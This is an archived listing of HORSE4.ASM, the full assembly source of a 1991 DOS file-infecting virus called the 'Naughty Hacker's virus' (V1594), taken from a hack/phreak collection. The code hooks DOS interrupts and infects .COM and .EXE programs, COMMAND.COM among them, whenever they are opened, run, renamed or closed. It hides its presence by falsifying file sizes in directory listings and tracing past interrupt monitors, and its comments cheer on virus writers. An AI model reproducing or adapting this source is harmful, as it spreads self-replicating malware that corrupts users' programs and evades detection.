home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / HORSE4.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  17KB  |  958 lines

  1.  
  2.         .radix  16
  3.  
  4.  
  5.     ;*********************************
  6.     ;*   The Naughty Hacker's virus  *
  7.     ;*VERSION 3.1 (And not the last.)*
  8.     ;*          ( V1594 )            *
  9.     ;*  Finished on the 10.04.1991   *
  10.     ;*                               *
  11.     ;*    Glad to meet you friend!   *
  12.     ;*                               *
  13.     ;*********************************
  14.  
  15. ;
  16. ; "It's hard to find a black cat in a dark room, especially if it's not there."
  17. ;
  18. ; Å░Ññ óá▒ ▒▓«¿ «░¿ú¿¡á½¡¿┐ ▓Ѭ▒▓ ¡á V1594 (ᬫ ¼«ªÑ ▓á¬á ñá ¬áªÑ !@!?!).
  19. ; Çó▓«░║▓ (è«¡┐) »░Ññóá░¿▓ѽ¡« »░Ññ│»░Ѫñáóá,╖Ñ ¡Ñ ªÑ½áÑ ▓«º¿ ▓Ѭ▒▓ ñá í║ñÑ
  20. ; »░«¼Ñ¡┐¡ »« ¡¿¬á¬║ó ¡á╖¿¡, ¡« á¬« ªÑ½áÑ▓Ñ ñá ú« │▒║ó║░╕Ñ¡▒▓óá▓Ñ ¼«ªÑ ñá
  21. ; ¡á»░áó¿▓Ñ ▓«óá ¡á»║½¡« ▒ó«í«ñ¡« »░¿ Ññ¿¡▒▓óÑ¡«▓« │▒½«ó¿Ñ, ╖Ñ ó »«½│╖Ñ¡á▓á
  22. ; ¡«óá óÑ░▒¿┐ ¡┐¼á ñá ¿¼á ¡¿¬á¬ó¿ ░áº░│╕¿▓ѽ¡¿ ┤│¡¬╢¿¿.
  23. ; Çó▓«░║▓ ¡Ñ »«Ñ¼á ¡¿¬á¬óá «▓ú«ó«░¡«▒▓ ºá ╣Ñ▓¿ »░¿╖¿¡Ñ¡¿ «▓ éêÉôæÇ ......
  24. ;
  25. ; äá ▒Ñ ¬«¼»¿½¿░á ¡á TURBO ASSEMBLER Ver 1.03B. Æá¬á »«½│╖Ñ¡¿┐ ¬«ñ Ñ ú«▓«ó
  26. ; ºá ▒▓á░▓¿░á¡Ñ ¿ ....
  27. ;
  28. ;                  Å«ºñ░áó¿ ñ« ó▒¿╖¬¿ VIRUSWRITERS !
  29. ;
  30. ;
  31. ;                         To be continued ...
  32. ;
  33.  
  34.  
  35.     call    Start_Virus
  36.     mov    dx,offset Hellomsg
  37.     mov    ah,9
  38.     int    21
  39.     int    20
  40.  
  41. Hellomsg db    0a,0dh,7,'HI WORLD,GIVE ME COMMAND.COM !!!',0a,0dh,7,'$'
  42.  
  43.     Virus_lenght    equ    endcode-adjust
  44.     alllen        equ    buffer-adjust
  45.  
  46.     adjust    label word
  47.  
  48.  
  49.     IP_save label    word
  50.  
  51.     First_3 Label Byte
  52.                         ;For .COM file here stores
  53.     ret
  54.     nop
  55.     nop
  56.  
  57.     CS_save dw    ?            ;The first 3 bytes
  58.     SP_save dw    ?
  59.     SS_save dw    0FFFF            ;0FFFF For COM files
  60.  
  61.  
  62. signature:
  63.  
  64.     db    'N.Hacker'            ;It's me the HORSE !!!
  65.  
  66. date_stamp:
  67.  
  68.     dd    10041991            ;10.04.1991
  69.  
  70. Run_The_Program:
  71.  
  72.     pop    ds                ;Restore saved ds,es,ax
  73.     pop    es                ;ds=es=PSP
  74.     pop    ax
  75.     cmp    cs:[bp+SS_save-adjust],0FFFF    ;Run the infected program
  76.     je    Run_COM_File
  77.  
  78.     mov    ax,ds                ;Calculate load segment
  79.     add    ax,10
  80.     mov    bx,ax
  81.     add    ax,cs:[bp+CS_save-adjust]    ;Calculate CS value
  82.     add    bx,cs:[bp+SS_save-adjust]    ;Calculate SS value
  83.     mov    ss,bx                ;Run .EXE program
  84.     mov    sp,word ptr cs:[bp+SP_save-adjust]
  85.     push    ax
  86.     push    word ptr cs:[bp+IP_save-adjust]
  87.     retf
  88.  
  89. Run_COM_File:
  90.  
  91.     mov    di,100
  92.     mov    si,bp
  93.     movsb                    ;Restore the first 3 bytes
  94.     movsw                    ;Run .COM program
  95.     mov    bx,100
  96.     push    bx
  97.     sub    bh,bh
  98.     ret
  99.  
  100. ;*******************************************************************
  101. ;                                                                  *
  102. ;                  This is the program entry....                   *
  103. ;                                                                  *
  104. ;*******************************************************************
  105.  
  106.  
  107. Start_Virus:
  108.  
  109.     call    Get_IP                ;This is to get the IP value.
  110.  
  111. Get_IP:
  112.     pop    bp                ;Get it in BP.
  113.     sub    bp,Get_IP-adjust        ;adjust BP point to the begining
  114.     cld                    ;Clear direction flag
  115.     push    ax                ;Save some registres
  116.     push    es
  117.     push    ds
  118.     mov    es,[2]                ;get last segment
  119.     mov    di,Run_The_Program-adjust    ;(last segment=segment of virus)
  120.  
  121.     push    ds
  122.     push    cs
  123.     pop    ds
  124.     mov    si,di
  125.     add    si,bp
  126.     mov    cx,endcode-Run_The_Program
  127.     rep    cmpsb                ;check if virus is in memory
  128.     pop    ds
  129.     push    ds
  130.     pop    es
  131.     je    Run_The_Program ;If so then run the program
  132.  
  133.     mov    word ptr cs:[bp+handle-adjust],0ffff ;set handle_save
  134.     mov    ax,ds
  135.     dec    ax
  136.     mov    ds,ax                ;ds=MCB
  137.     sub    word ptr [3],80    ;Set block size
  138.     sub    word ptr [12],80        ;Set last segment
  139.     mov    es,[12] ;steal some memory (2K)
  140.     push    cs
  141.     pop    ds
  142.     sub    di,di
  143.     mov    si,bp                ;prepare to move in high mem
  144.     mov    cx,alllen            ;will move virus+variables
  145.     rep    movsb                ;copy there
  146.     push    cs
  147.     mov    ax,Run_The_Program-adjust
  148.     add    ax,bp
  149.     push    ax
  150.     push    es
  151.     mov    ax,offset Set_Vectors-adjust    ;Set vectors
  152.     push    ax
  153.     retf
  154.  
  155. Find_First_Next:
  156.  
  157.     call    Call_Original_INT_21h        ;fuck when do the dir command
  158.     push    bx
  159.     push    es
  160.     push    ax
  161.     or    al,al
  162.     jnz    Go_Out_         ;if error
  163.  
  164.     mov    ah,2f                ;get DTA address
  165.     int    21
  166.  
  167.     mov    al,byte ptr es:[bx+30d] ;Seconds in al
  168.     and    al,31d            ;Mask seconds
  169.     cmp    al,60d/2            ;Seconds=60?
  170.     jne    Go_Out_
  171.  
  172.     mov    ax,es:[bx+36d]
  173.     mov    dx,es:[bx+38d]        ;Check File size
  174.     cmp    ax,Virus_lenght*2
  175.     sbb    dx,0
  176.     jb    Go_Out_
  177.  
  178.  
  179. Adjust_Size:
  180.  
  181.     sub    es:[bx+28d+7+1],Virus_lenght ;Adjust size
  182.     sbb    es:[bx+28d+2+7+1],0
  183.  
  184. Go_Out_:
  185.  
  186.     pop    ax
  187.     pop    es            ;Return to caller
  188.     pop    bx
  189.     iret
  190.  
  191. Find_First_Next1:
  192.  
  193.     call    Call_Original_INT_21h
  194.     pushf
  195.     push    ax
  196.     push    bx                ;fuck again
  197.     push    es
  198.     jc    Go_Out_1
  199.  
  200.     mov    ah,2f
  201.     int    21
  202.  
  203.     mov    al,es:[bx+22d]
  204.     and    al,31d
  205.     cmp    al,60d/2
  206.     jne    Go_Out_1
  207.  
  208.     mov    ax,es:[bx+26d]
  209.     mov    dx,es:[bx+28d]
  210.     cmp    ax,Virus_lenght*2
  211.     sbb    dx,0
  212.     jb    Go_Out_1
  213.  
  214. Adjust_Size1:
  215.  
  216.     sub    es:[bx+26d],Virus_lenght
  217.     sbb    es:[bx+28d],0
  218.  
  219. Go_Out_1:
  220.  
  221.     pop    es
  222.     pop    bx
  223.     pop    ax            ; Dummy proc far
  224.     popf                ; ret   2
  225.     db    0ca,2,0 ;retf 2         ; Dummy endp =>  BUT too long...
  226.  
  227.  
  228.     ;*************************************
  229.     ;                                    *
  230.     ;       Int 21 entry point.          *
  231.     ;                                    *
  232.     ;*************************************
  233.  
  234.  
  235.  
  236. INT_21h_Entry_Point:
  237.  
  238.  
  239.     cmp    ah,11
  240.     je    Find_First_Next    ;Find First Next (old)
  241.     cmp    ah,12
  242.     je    Find_First_Next
  243.  
  244.     cmp    ah,4e            ;Find First Next (new)
  245.     je    Find_First_Next1
  246.     cmp    ah,4f
  247.     je    Find_First_Next1
  248.  
  249.     cmp    ah,6ch
  250.     jne    not_create        ;Create (4.X)
  251.     test    bl,1
  252.     jz    not_create
  253.     jnz    create
  254.  
  255. not_create:
  256.  
  257.     cmp    ah,3ch            ;Create (3.X)
  258.     je    create
  259.     cmp    ah,5bh
  260.     je    create
  261.  
  262.     push    ax
  263.     push    bx
  264.     push    cx
  265.     push    dx
  266.     push    si
  267.     push    di
  268.     push    bp
  269.     push    ds
  270.     push    es
  271.  
  272.     mov    byte ptr cs:[function-adjust],ah
  273.  
  274.     cmp    ah,6ch        ;Open (4.X)
  275.     je    create_
  276.  
  277.     cmp    ah,3e        ;Close
  278.     je    close_
  279.  
  280.     cmp    ax,4b00        ;Exec
  281.     je    Function_4Bh
  282.  
  283.     cmp    ah,17        ;Rename (old)
  284.     je    ren_FCB
  285.  
  286.     cmp    ah,56        ;Rename (new)
  287.     je    Function_4Bh
  288.  
  289.     cmp    ah,43        ;Change attributes
  290.     je    Function_4Bh
  291.  
  292.     cmp    ah,3dh        ;Open (3.X)
  293.     je    open
  294.  
  295. Return_Control:
  296.  
  297.     pop    es
  298.     pop    ds
  299.     pop    bp
  300.     pop    di
  301.     pop    si
  302.     pop    dx
  303.     pop    cx
  304.     pop    bx
  305.     pop    ax
  306.  
  307. Go_out:
  308.  
  309.     jmp    dword ptr cs:[current_21h-adjust]    ;go to the old int 21
  310.  
  311. create_:
  312.  
  313.     or    bl,bl        ;Create file?
  314.     jnz    Return_Control
  315.     mov    dx,si
  316.     jmp    Function_4Bh
  317.  
  318. ren_FCB:
  319.  
  320.     cld
  321.     inc    dx
  322.     mov    si,dx
  323.     mov    di,offset buffer-adjust
  324.     push    di
  325.     push    cs
  326.     pop    es        ;Convert FCB format Fname into ASCIIZ string
  327.     mov    cx,8
  328.     rep    movsb
  329.     mov    al,'.'
  330.     stosb
  331.     mov    cx,3
  332.     rep    movsb
  333.     sub    al,al
  334.     stosb
  335.     pop    dx
  336.     push    cs
  337.     pop    ds
  338.     jmp    Function_4Bh
  339.  
  340. create:
  341.  
  342. ;       cmp     word ptr cs:[handle-adjust],0ffff
  343. ;       jne     Go_out
  344.  
  345.     call    Call_Original_INT_21h
  346.     jc    Error
  347.     mov    word ptr cs:[handle-adjust],ax
  348.     jnc    Exit_
  349. Error:
  350.     mov    word ptr cs:[handle-adjust],0ffff    ;Useless
  351. Exit_:
  352. ;       retf    2
  353.     db 0ca,2,0
  354.  
  355. close_:
  356.     cmp    word ptr cs:[handle-adjust],0ffff
  357.     je    Return_Control
  358.     cmp    bx,word ptr cs:[handle-adjust]
  359.     jne    Return_Control
  360.  
  361.     mov    ah,45
  362.     call    Infect_It
  363.     mov    word ptr cs:[handle-adjust],0ffff
  364.     jmp    Return_Control
  365.  
  366. Function_4Bh:
  367.  
  368.     mov    ax,3d00h
  369. open:
  370.     call    Infect_It
  371.     jmp    Return_Control
  372.  
  373. ;******************************************
  374. ;                                         *
  375. ;       This infects the programs...      *
  376. ;                                         *
  377. ;******************************************
  378.  
  379. Infect_It:
  380.  
  381.     call    Call_Original_INT_21h        ;this is the infecting part
  382.     jnc    No_error
  383.     ret
  384.  
  385. No_error:
  386.  
  387.     xchg    ax,bp
  388.     mov    byte ptr cs:[flag-adjust],0
  389.     mov    ah,54
  390.     call    Call_Original_INT_21h
  391.     mov    byte ptr cs:[veri-adjust],al
  392.     cmp    al,1                ;Switch off verify...
  393.     jne    Go_On_Setting
  394.     mov    ax,2e00
  395.     call    Call_Original_INT_21h
  396.  
  397. Go_On_Setting:
  398.  
  399.     push    cs
  400.     push    cs
  401.     pop    ds
  402.     pop    es
  403.     mov    dx,offset DOS_13h-adjust
  404.     mov    bx,dx            ;Set New DOS int 13h
  405.     mov    ah,13
  406.     call    Call_Original_INT_2Fh
  407.  
  408.     mov    ax,3513
  409.     call    Call_Original_INT_21h
  410.     push    bx
  411.     push    es
  412.  
  413.     mov    word ptr cs:[current_13h-adjust],bx
  414.     mov    word ptr cs:[current_13h-adjust+2],es
  415.  
  416.     mov    ah,25
  417.     mov    dx,INT_13h_entry-adjust ;Set int 13h
  418.     push    cs
  419.     pop    ds
  420.     call    Call_Original_INT_21h
  421.  
  422.     mov    ax,3524
  423.     call    Call_Original_INT_21h
  424.     push    bx
  425.     push    es
  426.  
  427.     mov    ah,25
  428.     mov    dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...).
  429.     call    Call_Original_INT_21h
  430.  
  431.     xchg    bx,bp
  432.     push    bx
  433.     mov    ax,1220
  434.     call    Call_Original_INT_2Fh
  435.     mov    bl,es:[di]        ;Remember the good old V512 ?
  436.     mov    ax,1216
  437.     call    Call_Original_INT_2Fh
  438.     pop    bx
  439.     add    di,11
  440.  
  441.     mov    byte ptr es:[di-15d],2
  442.     mov    ax,es:[di]
  443.     mov    dx,es:[di+2]
  444.     cmp    ax,Virus_lenght+1
  445.     sbb    dx,0
  446.     jnb    Go_on
  447.     jmp    close
  448. Go_on:
  449.     cmp    byte ptr cs:[function-adjust],3dh
  450.     je    Scan_name
  451.     cmp    byte ptr cs:[function-adjust],6ch
  452.     jne    Dont_Scan_Name
  453.  
  454. Scan_name:
  455.  
  456.     push    di
  457.     add    di,0f
  458.     mov    si,offset fname-adjust    ;wasn't that the last opened file?
  459.     cld
  460.     mov    cx,8+3
  461.     rep    cmpsb
  462.     pop    di
  463.     jne    Dont_Scan_Name
  464.     jmp    close
  465.  
  466. Dont_Scan_Name:
  467.  
  468.     cmp    es:[di+18],'MO'
  469.     jne    Check_For_EXE            ;check for .COM file
  470.     cmp    byte ptr es:[di+17],'C'
  471.     jne    Check_For_EXE
  472.     jmp    com
  473.  
  474. Check_For_EXE:
  475.  
  476.     cmp    es:[di+18],'EX'
  477.     jne    Not_good            ;check for .EXE file
  478.     cmp    byte ptr es:[di+17],'E'
  479.     je    Check_For_Valid_EXE
  480.  
  481. Not_good:
  482.  
  483.     jmp    close
  484.  
  485. Check_For_Valid_EXE:
  486.  
  487.     call    Read_First_18
  488.     cmp    word ptr [si],'ZM'
  489.     je    Valid_EXE            ;check for valid .EXE file
  490.     cmp    word ptr [si],'MZ'
  491.     je    Valid_EXE
  492.     jmp    close
  493.  
  494.  Valid_EXE:
  495.  
  496.     cmp    word ptr [si+0c],0ffff    ;only low-mem .EXE
  497.     je    Low_Mem
  498.     jmp    close
  499.  
  500. Low_Mem:
  501.  
  502.     mov    cx,[si+16]
  503.     add    cx,[si+8]            ;Something common with EDDIE..
  504.     mov    ax,10
  505.     mul    cx
  506.     add    ax,[si+14]
  507.     adc    dx,0
  508.     mov    cx,es:[di]
  509.     sub    cx,ax
  510.     xchg    cx,ax
  511.     mov    cx,es:[di+2]
  512.     sbb    cx,dx
  513.     or    cx,cx
  514.     jnz    Not_Infected_EXE            ;infected?
  515.     cmp    ax,(endcode-Start_Virus)
  516.     jne    Not_Infected_EXE
  517.     jmp    close
  518.  
  519. Not_Infected_EXE:
  520.  
  521.     mov    ax,[si+10]
  522.     mov    [SP_save-adjust],ax
  523.     mov    ax,[si+0e]
  524.     mov    [SS_save-adjust],ax
  525.     mov    ax,[si+14]
  526.     mov    [IP_save-adjust],ax
  527.     mov    ax,[si+16]
  528.     mov    [CS_save-adjust],ax            ;set the new header
  529.     mov    ax,es:[di]
  530.     mov    dx,es:[di+2]
  531.  
  532.     add    ax,Virus_lenght
  533.     adc    dx,0
  534.     mov    cx,200                    ;(C) by Lubo & Jan...
  535.     div    cx
  536.     mov    [si+2],dx
  537.     or    dx,dx
  538.     jz    OK_MOD
  539.     inc    ax
  540.  
  541. OK_MOD:
  542.     mov    [si+4],ax
  543.     mov    ax,es:[di]
  544.     mov    dx,es:[di+2]
  545.  
  546.     mov    cx,4
  547.     push    ax
  548.  
  549. Compute:
  550.  
  551.     shr    dx,1
  552.     rcr    ax,1
  553.     loop    Compute
  554.     pop    dx
  555.     and    dx,0f
  556.  
  557.     sub    ax,[si+8]
  558.     add    dx,Start_Virus-adjust
  559.     adc    ax,0
  560.     mov    [si+14],dx
  561.     mov    [si+16],ax
  562.     add    ax,(Virus_lenght)/16d+1
  563.     mov    [si+0eh],ax
  564.     mov    [si+10],100
  565.  write:
  566.     mov    ax,5700
  567.     call    Call_Original_INT_21h
  568.     push    cx
  569.     push    dx
  570.  
  571.     sub    cx,cx
  572.     mov    es:[di+4],cx
  573.     mov    es:[di+6],cx
  574.     mov    cl,20
  575.     xchg    cl,byte ptr es:[di-0dh]
  576.     push    cx
  577.     mov    ah,40    ;this writes the first few bytes and glues the virus
  578.     mov    dx,buffer-adjust
  579.     mov    cx,18
  580.  
  581.     call    Call_Original_INT_21h
  582.     mov    ax,es:[di]
  583.     mov    es:[di+4],ax
  584.     mov    ax,es:[di+2]
  585.     mov    es:[di+6],ax
  586.     call    Check_For_COMMAND    ;(C)
  587.     jne    Dont_Adjust_Size
  588.     sub    es:[di+4],Virus_lenght
  589.     sbb    es:[di+6],0        ;???????????????????????????????
  590.  
  591. Dont_Adjust_Size:
  592.  
  593.     mov    ah,40
  594.     sub    dx,dx
  595.     mov    cx,Virus_lenght
  596.     call    Call_Original_INT_21h
  597.  
  598.     pop    cx
  599.     mov    byte ptr es:[di-0dh],cl
  600.     pop    dx
  601.     pop    cx
  602.  
  603.     cmp    byte ptr cs:[flag-adjust],0ff
  604.     je    Set_Time_and_Date
  605. exit:
  606.     call    Check_For_COMMAND
  607.     je    Set_Time_and_Date
  608.     and    cl,11100000b
  609.     or    cl,60d/2
  610.  
  611. Set_Time_and_Date:
  612.  
  613.     mov    ax,5701
  614.     call    Call_Original_INT_21h
  615. close:
  616.  
  617.     mov    ah,3e
  618.     call    Call_Original_INT_21h
  619.     push    es
  620.     pop    ds
  621.     mov    si,di
  622.     add    si,0f
  623.     mov    di,fname-adjust
  624.     push    cs
  625.     pop    es
  626.     mov    cx,8+3        ;save the fname to a quit place
  627.     cld
  628.     rep    movsb
  629.     push    cs
  630.     pop    ds
  631.  
  632.     cmp    byte ptr cs:[flag-adjust],0ff
  633.     jne    Dont_Clear_Buffers
  634.     mov    ah,0dh            ;if error occured->clear disk buffers
  635.  
  636.     call    Call_Original_INT_21h
  637.  
  638. Dont_Clear_Buffers:
  639.  
  640.     les    bx,[org_13h-adjust]
  641.     lds    dx,[org_13h-adjust]
  642.     mov    ah,13
  643.     call    Call_Original_INT_2Fh
  644.  
  645.     cmp    byte ptr cs:[veri-adjust],1
  646.     jne    Restore_Vectors
  647.     mov    ax,2e01
  648.  
  649.     call    Call_Original_INT_21h
  650.  
  651. Restore_Vectors:
  652.  
  653.     sub    ax,ax
  654.     mov    ds,ax
  655.     pop    [24*4+2]
  656.     pop    [24*4]
  657.     pop    [13*4+2]
  658.     pop    [13*4]        ;restore vectors and return
  659.     ret
  660.  com:
  661.     test    byte ptr es:[di-0dh],4    ;if it is a system file
  662.     jnz    Not_OK_COM_File    ;I had some problems here with
  663.                                         ;V1160 & V1776 (with the ball)
  664.     cmp    es:[di],65535d-Virus_lenght*2-100
  665.     ja    Not_OK_COM_File
  666.  
  667.     call    Read_First_18
  668.     cmp    byte ptr [si],0E9
  669.     jne    OK_COM_file
  670.     mov    ax,es:[di]
  671.         sub     ax,[si+1]               ;infected?
  672.     cmp    ax,(endcode-Start_Virus+3)
  673.     je    Not_OK_COM_File
  674.  
  675. OK_COM_file:
  676.  
  677.     mov    word ptr [SS_save-adjust],0FFFF
  678.     push    si
  679.     lodsb
  680.     mov    word ptr [First_3-adjust],ax
  681.     lodsw
  682.     mov    word ptr [First_3-adjust+1],ax
  683.     pop    si
  684.     mov    ax,es:[di]
  685.     add    ax,Start_Virus-adjust-3
  686.     call    Check_For_COMMAND
  687.     jne    Normally
  688.     sub    ax,Virus_lenght
  689.  
  690. Normally:
  691.  
  692.     mov    byte ptr [si],0E9
  693.     mov    word ptr [si+1],ax
  694.     jmp    write
  695.  
  696. Not_OK_COM_File:
  697.  
  698.     jmp    close
  699.  
  700. Set_Vectors:
  701.  
  702.     sub    ax,ax
  703.     mov    ds,ax
  704.  
  705.     push    [1*4]
  706.     push    [1*4+2]            ; <= (C) by N.Hacker.
  707.  
  708.     pushf
  709.     pushf
  710.     pushf
  711.     pushf
  712.  
  713.     mov    byte ptr cs:[flag-adjust],ah
  714.     mov    byte ptr cs:[my_flag-adjust],ah
  715.     mov    word ptr cs:[limit-adjust],300
  716.     mov    word ptr cs:[mem_-adjust],org_21h-adjust
  717.  
  718.     mov    [1*4],offset trap-adjust
  719.     mov    [1*4+2],cs
  720.  
  721.     call    set_trace
  722.  
  723.     mov    ax,3521
  724.  
  725.     call    dword ptr [21h*4]
  726.  
  727.  
  728.     mov    byte ptr cs:[flag-adjust],0
  729.     mov    word ptr cs:[mem_-adjust],org_2fh-adjust
  730.  
  731.     call    set_trace
  732.  
  733.     mov    ax,1200
  734.  
  735.     call    dword ptr [2fh*4]        ;do trace int 2f
  736.  
  737.  
  738.     mov    byte ptr cs:[flag-adjust],0
  739.     mov    byte ptr cs:[my_flag-adjust],0FF
  740.     mov    word ptr cs:[limit-adjust],0C800
  741.     mov    word ptr cs:[mem_-adjust],org_13h-adjust
  742.  
  743.     call    set_trace
  744.  
  745.     sub    ax,ax
  746.     mov    dl,al
  747.  
  748.     call    dword ptr [13h*4]    ;do trace int 13
  749.  
  750.     mov    byte ptr cs:[flag-adjust],0
  751.     mov    word ptr cs:[limit-adjust],0F000
  752.     mov    word ptr cs:[mem_-adjust],Floppy_org_13h-adjust
  753.  
  754.     call    set_trace
  755.  
  756.     sub    ax,ax
  757.     mov    dl,al
  758.  
  759.     call    dword ptr [13h*4]
  760.  
  761.     pop    [1*4+2]
  762.     pop    [1*4]
  763.  
  764.     les    ax,[21*4]
  765.     mov    word ptr cs:[current_21h-adjust],ax    ;get old int 21
  766.     mov    word ptr cs:[current_21h-adjust+2],es
  767.     mov    [21*4], INT_21h_Entry_Point-adjust        ;set it
  768.     mov    [21*4+2],cs
  769.     retf
  770.  
  771. set_trace:
  772.  
  773.     pushf
  774.     pop    ax
  775.     or    ax,100
  776.     push    ax
  777.     popf
  778.     ret
  779.  
  780. trap:
  781.     push    bp
  782.     mov    bp,sp
  783.     push    bx
  784.     push    di
  785.     cmp    byte ptr cs:[flag-adjust],0ff
  786.     je    off
  787.     mov    di,word ptr cs:[mem_-adjust]
  788.     mov    bx,word ptr cs:[limit-adjust]
  789.     cmp    [bp+4],bx
  790.     pushf
  791.     cmp    word ptr cs:[my_flag-adjust],0ff
  792.     jne    It_Is_JA
  793.  
  794.     popf
  795.     jb    Go_out_of_trap
  796.     jmp    It_Is_JB
  797.  
  798. It_Is_JA:
  799.  
  800.     popf
  801.     ja    Go_out_of_trap
  802.  
  803. It_Is_JB:
  804.  
  805.     mov    bx,[bp+2]
  806.     mov    word ptr cs:[di],bx
  807.     mov    bx,[bp+4]
  808.     mov    word ptr cs:[di+2],bx
  809.     mov    byte ptr cs:[flag-adjust],0ff
  810. off:
  811.     and    [bp+6],0feff
  812.  
  813. Go_out_of_trap:
  814.  
  815.     pop    di
  816.     pop    bx
  817.     pop    bp
  818.     iret
  819.  
  820. Call_Original_INT_21h:
  821.  
  822.     pushf
  823.     call    dword ptr cs:[org_21h-adjust]
  824.     ret
  825.  
  826. Call_Original_INT_2Fh:
  827.  
  828.     pushf
  829.     call    dword ptr cs:[org_2fh-adjust]
  830.     ret
  831.  
  832. INT_24h_entry:
  833.  
  834.     mov    al,3
  835.     iret
  836.  
  837. ;**************************
  838. ;    (C) by N.Hacker.     *
  839. ;      (bellow)           *
  840. ;**************************
  841.  
  842. INT_13h_entry:
  843.  
  844.     mov    byte ptr cs:[next_flag-adjust],0
  845.  
  846.     cmp    ah,2
  847.     jne    Other
  848.  
  849.     cmp    byte ptr cs:[function-adjust],03Eh
  850.     jne    Dont_hide
  851.  
  852.     dec    byte ptr cs:[next_flag-adjust]
  853.     inc    ah
  854.     jmp    Dont_hide
  855.  
  856. Other:
  857.  
  858.     cmp    ah,3
  859.     jne    Dont_hide
  860.  
  861.     cmp    byte ptr cs:[flag-adjust],0ff
  862.     je    no_error_
  863.  
  864.     cmp    byte ptr cs:[function-adjust],03Eh
  865.     je    Dont_hide
  866.  
  867.     inc    byte ptr cs:[next_flag-adjust]
  868.     dec    ah
  869.  
  870. Dont_hide:
  871.  
  872.     pushf
  873.     call    dword ptr cs:[current_13h-adjust]
  874.     jnc    no_error_
  875.     mov    byte ptr cs:[flag-adjust],0ff
  876.  
  877. no_error_:
  878.  
  879.     clc
  880.     db    0ca,02,0        ;retf 2
  881.  
  882.  
  883. DOS_13h:
  884.  
  885.     cmp    byte ptr cs:[next_flag-adjust],0
  886.     je    OK
  887.  
  888.     cmp    ah,2
  889.     je    Next
  890.     cmp    ah,3
  891.     jne    OK
  892. Next:
  893.     cmp    byte ptr cs:[next_flag-adjust],1
  894.     jne    Read
  895.     inc    ah
  896.     jne    OK
  897. Read:
  898.  
  899.     dec    ah
  900. OK:
  901.     test    dl,80
  902.     jz    Floppy
  903.     jmp    dword ptr cs:[org_13h-adjust]
  904. Floppy:
  905.     jmp    dword ptr cs:[Floppy_org_13h-adjust]
  906.  
  907.  
  908. Read_First_18:
  909.  
  910.     sub    ax,ax
  911.     mov    es:[di+4],ax
  912.     mov    es:[di+6],ax
  913.     mov    ah,3f
  914.     mov    cx,18
  915.     mov    dx,buffer-adjust
  916.     mov    si,dx
  917.     call    Call_Original_INT_21h
  918.         ret
  919.  
  920. Check_For_COMMAND:
  921.  
  922.     cmp    es:[di+0f],'OC'
  923.     jne    Not_COMMAND
  924.     cmp    es:[di+11],'MM'
  925.     jne    Not_COMMAND
  926.     cmp    es:[di+13],'NA'
  927.     jne    Not_COMMAND            ;check for command.com
  928.     cmp    es:[di+15],' D'
  929.     jne    Not_COMMAND
  930.     cmp    es:[di+17],'OC'
  931.     jne    Not_COMMAND
  932.     cmp    byte ptr es:[di+19],'M'
  933.  
  934. Not_COMMAND:
  935.  
  936.     ret
  937.  
  938. endcode label    word
  939.  
  940.     current_21h    dd ?
  941.     null        dd ?    ;I forgot to remove this variable...
  942.     current_13h    dd ?
  943.     org_2fh dd    ?
  944.     org_13h dd    ?
  945.     org_21h dd    ?
  946.     Floppy_org_13h    dd ?
  947.     flag    db    ?    ;0ff if error occures
  948.     veri    db    ?
  949.     handle    dw    ?
  950.     fname    db    8+3 dup (?)
  951.     function db    ?
  952.     my_flag db ?
  953.     limit        dw ?
  954.     mem_        dw ?
  955.     next_flag    db ?
  956.  
  957. buffer    label    word
  958.